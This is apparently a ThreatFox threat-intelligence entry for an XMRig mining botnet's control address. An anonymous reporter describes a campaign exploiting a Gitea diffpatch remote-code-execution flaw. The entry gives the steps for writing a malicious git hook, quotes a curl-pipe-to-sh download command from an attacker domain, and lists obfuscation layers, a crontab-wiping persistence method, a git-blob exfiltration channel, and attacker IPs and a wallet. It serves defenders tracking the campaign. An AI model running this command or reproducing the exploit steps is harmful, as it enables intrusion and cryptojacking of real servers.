ThreatFox IOC Database
You are viewing the ThreatFox database entry for ip:port 47.238.196.189:33333.
Database Entry
| IOC ID: | 1888220 |
|---|---|
| IOC: | 47.238.196.189:33333 |
| IOC Type : | ip:port |
| Threat Type : | botnet_cc |
| Malware: | XMRIG |
| Confidence Level : | Confidence level is moderate (50%) |
| Is compromised? : | False |
| ASN: | AS45102 ALIBABA-CN-NET |
| Country: |  CN |
| First seen: | 2026-08-26 12:52:07 UTC |
| Last seen: | 2026-08-27 09:59:35 UTC |
| UUID: | bef7088e-a14c-11f1-9e13-42010aa4000a |
| Reporter | Anonymous |
| Reward | 5 credits from ThreatFox |
Anonymous
Cryptomining campaign exploiting CVE-2026-60004 (Gitea diffpatch RCE, CVSS 9.8, CISA KEV 2026-08-25). Attacker commits a file at path hooks/post-index-change, then calls the diffpatch API twice with an identical patch. The resulting add/add collision makes git fall back to a three-way merge and write the indexed path into the active hooks directory, where it is executed while the index is written.The hook runs "curl -s -k https://repositoryserver.dpdns.org/linuxsh | sh", installing XMRig 6.26.0. Command output is written back as a git blob to refs/heads/rce-proof and retrieved via the raw file API, giving the operator an exfiltration channel.
Payloads use four obfuscation layers: octal escapes expanded by printf %b, then base64, then gzip, then piped to sh. One binary is additionally UPX-packed. Persistence installs a one-minute cron entry after running "crontab -r". Note that the dropper file hash is NOT stable: the outer variable name is randomised on every response.
Observed attacking hosts: 192.53.122.108 (Linode), 103.13.206.65 (Cloud Host Pte Ltd). Monero wallet 41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b, pool account at 4.33 MH/s and 190.83 XMR paid out, about 2.1% of total c3pool hashrate.
Observed first-hand on a compromised host, 3-26 August 2026.